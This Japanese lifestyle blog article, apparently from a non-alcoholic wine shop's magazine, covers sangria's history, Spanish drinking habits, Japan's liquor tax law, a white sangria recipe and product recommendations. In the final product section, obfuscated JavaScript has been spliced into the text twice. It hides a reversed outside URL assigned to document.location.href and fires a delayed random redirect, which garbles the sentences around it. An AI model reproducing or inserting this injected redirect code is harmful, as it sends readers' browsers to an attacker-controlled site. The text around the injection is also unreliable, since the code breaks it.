夏にピッタリ、サングリアのススメ
最近、おしゃれなレストランなどのメニューでよく見かけるドリンク、サングリア。
フルーティーでアルコール度も低め、彩りよく見た目が華やかなので、お酒に弱い方はもちろん、パーティーにもピッタリの人気のドリンクです。
今日はこのサングリアについて、誕生の歴史やレシピなどを詳しく調べてみました!
◇もう一度おさらい。サングリアってなんだ?
サングリアはスペインやポルトガルて飲まれている、フレイバードワインと呼ばれる種類のワインのこと。
ワインに一口大にカットしたレモン、オレンジなどのフルーツと砂糖を入れ、スパイスで風味を付けた、甘くてフルーティーなワインカクテルです。バリエーションとして、風味付けのため、ブランデーやラムなどの蒸留酒を少量加えることもあります。
サングリアという名前は、スペイン語で「血」を意味するタンゴのsangreから来たもの。
もともとは赤ワインを使って作られていたため、その赤い色合いが血を思わせるということでこのような名前が付けられたようです。
現在では、赤ワインベースのものだけでなく、白ワインやロゼワインを使ったサングリア、スパークリングワインを使ったサングリアなどさまざまなバリエーションがあります。
自分でフルーツとワインをミックスして作ることもできますが、ボトルに詰められた既製品も販売されており、その場合、EUの規定ではスペイン産、またはポルトガル産でなければ「サングリア」という名前で販売することはできないそうです。
◇歴史はローマ時代にあり?古〜いサングリアの歴史
サングリアがいつ飲まれるようになったかは、はっきりとしたことはわかっていません。しかし、その歴史は、ローマ時代にまでさかのぼられるのではと考えられています。
紀元前3世紀にローマ人がイベリア半島を征服し、その後約700年ローマ帝国によって支配されますが、この時代にローマ人の手によってブドウの木が植えられ、ワインが作られるようになったといいます。
ローマ帝国では、ワインはとても人気のある飲み物でしたが、当時のワインは現在のワインに比べるととても甘いものでした。また、当時はワインを素焼きの瓶で保存しており、保存期間中にどんどん水分が蒸発してしまいワインが濃くなってしまったこと、そして、ワインを長期保存する技術がまだ確立されておらず、品質も劣化しやすかったそうです。
そのような理由により、当時はワインの味を調えるため、3倍程度の水を加えて薄めてハーブやスパイスなどを加えて風味付けし、果汁や蜂蜜などを加えて甘みを補って飲まれていたそうです。
一説によると、このような飲み方が、のちのサングリアの誕生に影響を与えたのではないかといわれています。
また、ヨーロッパ中世においても、ワインを割って飲むことは一般的でした。
というのも、現在のような上下水道が発達していなかった中世ヨーロッパでは、水の供給源として利用されていたのは井戸でした。
しかし、村には汚物や排泄物を捨てるための深い穴が掘られており、そこから地下水脈へバクテリア類が流れ込んでしまうため、井戸水はバクテリアに汚染されていたといいます。
そのため、東洋から紅茶・コーヒーが持ち込まれる前の中世ヨーロッパでは、水を飲む時にはワインを加えて、アルコールの力で殺菌をして飲んでいたそうです。
このような風習も、サングリアの誕生に影響を与えていたかもしれませんね!
◇スペインを代表するドリンクと思ったら…
さて、スペインを代表するドリンクのイメージのあるサングリア。
しかし、実際にはスペイン人はあまりサングリアを飲まないそうです。
というのも、ワインにフルーツを漬け込んで、フルーツのフレーバーをワインに移すサングリアは製造に時間がかかり、他のメニューより値段も高いです。
なので、地元スペインっ子たちはバルではサングリアは頼まず、もっと安くて手軽に飲めるドリンクをオーダーするそうです。
では、サングリアを飲んでいるのは?それはスペインを訪れる観光客たち。
サングリアがメニューに載っているのは、主に観光地にあるバル。地元の人しか訪れないようなバルでは、そもそもサングリアを取り扱っていないということもあるようです。
サングリアはスペインのシンボルのように思っていたのに、意外ですね!
では、地元スペインっ子たちは、サングリアではなく何を飲んでいるのでしょうか?
スペインっ子たちにバルで人気のドリンクは、やはりビール!夏場はビールをソーダで割ったCLARA(クララ)という飲み物も人気です。
また、サングリアとよく似たワインベースのドリンクに、TINTO DE VERANO (ティント・デ・ヴェラーノ=「夏の赤ワイン」という意味)という、赤ワインをソーダで割ってレモンを添えたものがあります。
見た目はサングリアに似ていますが、ワインとソーダを混ぜて輪切りレモンを添えるだけなので、サングリアのようにフルーツを付ける手間がかからずとても簡単。バルでの価格もサングリアより安価なため、気軽な夏の飲み物としてスペインっ子たちに愛されています。
ちなみに、ソーダにはスペインの国民的サイダーであるCASERA (カセラ)というブランドが使われることが多いそうですよ。
◇自宅でサングリアを作る時の注意点は、なんと酒税法
さて、それでも日本人の私たちには、やっぱり色とりどりのフルーツが入ったサングリアはとってもテンションが上がるもの!
夏のホームパーティーや女子会に、ぜひ手作りサングリアを作ってみてはいかがでしょうか?
ただし、自宅でのサングリア作りに際して注意が1点。
実は、ワイン(アルコール度が20度未満のお酒)にフルーツを入れてサングリアを作る場合、時間がたつと再発酵してしまう可能性があります。
そのため酒税法では、サングリアを作る行為は厳密には「酒類の製造」にあたり、酒類製造の免許がない者がサングリアを作る行為はなんと酒税法に抵触してしまうのです!
しかし、これには例外があり、飲む直前に酒類を混ぜる場合は、再発酵の心配はなく酒類の製造には当たらないため、酒税法上の問題はありません。
自宅でサングリアを作る際は、フルーツを長時間ワインに漬け込む必要がないよう、フルーツジュースなどを加えるレシピにして、作ってすぐに飲むようにすると良いでしょう。
◇夏にピッタリ、MELLOWおすすめレシピ「フルーツごろごろ、食べる白サングリア」
それでは、ご自宅でも安心して作れるサングリアレシピをご紹介します。
フルーツを長時間漬け込まなくても良いようジュースを使用、夏にピッタリの白ワインを使った「フルーツごろごろ、食べる白サングリア」をご紹介いたします。
【レシピ】フルーツごろごろ、食べる白サングリア
(材料)6人分くらい
白ワイン(白ノンアルコールワイン)ハーフボトル1本(375ml)
パイナップルジュース 100ml
バナナ 1/2本
オレンジ 1個
キウイフルーツ 1個
フレッシュパイナップル 小1パックの半分くらい
コアントロー(リキュール)大さじ2
砂糖 大さじ2
※フルーツは上記以外のものでも、お好みでOKです。
※また、ノンアルコールワインを使って作ることもできますが、その際はアルコールを含むリキュールであるコアントローは使用しないようにしましょう。
(作り方)
1.フルーツ、ワイン、ピッチャーはよく冷やしておく。
2.バナナはスライス、グレープフルーツ、キウイフルーツは皮をむいて1.5センチくらいの大きさにカットする。パイナップルも同じくらいの大きさにカットして、ピッチャーに入れる。
3.白ワインにコアントロー、砂糖を加えて混ぜ、砂糖をシッカリ溶かす。ワインを2のフルーツを入れたピッチャーに注いででき上りです。
食べる時は、フルーツ頃ガラスのティーカップなど涼し気なグラスに注いで、好みで氷を入れていただきましょう。
お酒に弱い方は、サイダー(甘みのあるもの)で割ると飲みやすくなります。
◇サングリアにピッタリのワイン&ノンアルコールワインは?
サングリアにピッタリのワインは、ズバリ、安いワイン。
冷やして飲むサングリアですが、主に赤ワインに含まれるワインの渋みの成分であるタンニンは、温度が高いほどまろやかに感じ、温度が低くなるとより渋みを強く感じる性質があります。
そして、このタンニンは、高級な赤ワインほどたっぷり含まれているのです。
また、赤ワイン・白ワインを問わず、高級なワインは樽熟成を行うものが多いですが、樽熟成に由来する芳醇なワインの香りの要素は低温では感じにくいものが多いです。
そのため、高級なワインはサングリアに使用しても、その本当のおいしさを堪能できません。
サングリアに適しているのは、果実味たっぷり、タンニンは控えめで樽熟成をしていない早飲みタイプのワインです。
価格が手ごろなワインを選んでおけば間違いはなく、1本数百円から1000円程度のワインでも、十分美味しいサングリアができるでしょう。
品種的には、赤ならメルロやピノノワール、テンプラニーリョ、ガメイ、グルナッシュなど、白ならソーヴィニョンブランやリースリングをお薦めします。
ノンアルコールワインの場合は、お薦めはMELLOW stoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.rantoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toreで取り扱い中のヴィンテンス オリジンシリーズをお薦めします。
ヴィンテンスのおいしさのポイントは、真空蒸留法というアルコール除去方法です。
本物のワインを密閉タンクにいれて減圧し、真空状態でアルコールの沸点を下げて、ワインの持つ香りや風味を守りながら32℃という低温で蒸留し脱アルコールしました。
なので、元のワインのアロマやフレーバーはそのままに、アルコールは0.0%。
ワインらしいの風味がしっかり感じられるので、ノンアルコールサングリアのベースとして使用しても、しっかりワインの味わいを再現してくれます。
★金賞受賞ノンアルコール白ワイン
ヴィンテンス オリジン テッラオーストラリア 3本セット
Mellow Stoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.rantoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toreで見る
ブドウ産地:オーストラリア
ブドウ品種:リースリング、ゲヴュルツトラミネール
ヴィンテンスオリジンシリーズは、製造の全工程を、ワイン作りのスペシャリスト「エノロジスト」が監修した、品質を追求したノンアルコールワインシリーズです。
ドイツ系ブドウの華やかな香りに、厚みある味わいとバランス良い酸味。凝縮感とコクが感じられるノンアルコールの白ワイン。
2020年には、世界的なワインコンクールである「ブリュッセル国際コンクール」のノンアルコール部門で金賞を受賞しました。
ブドウ産地:フランス
ブドウ品種:グルナッシュ、シラー
ブラックベリーやブルーベリーのしっかりとした果実味、ソフトな口当たりながらボリュームや力強さも感じられるノンアルコール赤ワイン。
【こちらもご覧ください MELLOW magazine過去記事】
・白サングリアに合うフルーツ
・夏祭りのお供に!暑い夜には『白サングリア』がぴったり?
・えっ、美味しい!サングリアにブランデーを加えると、どうなる?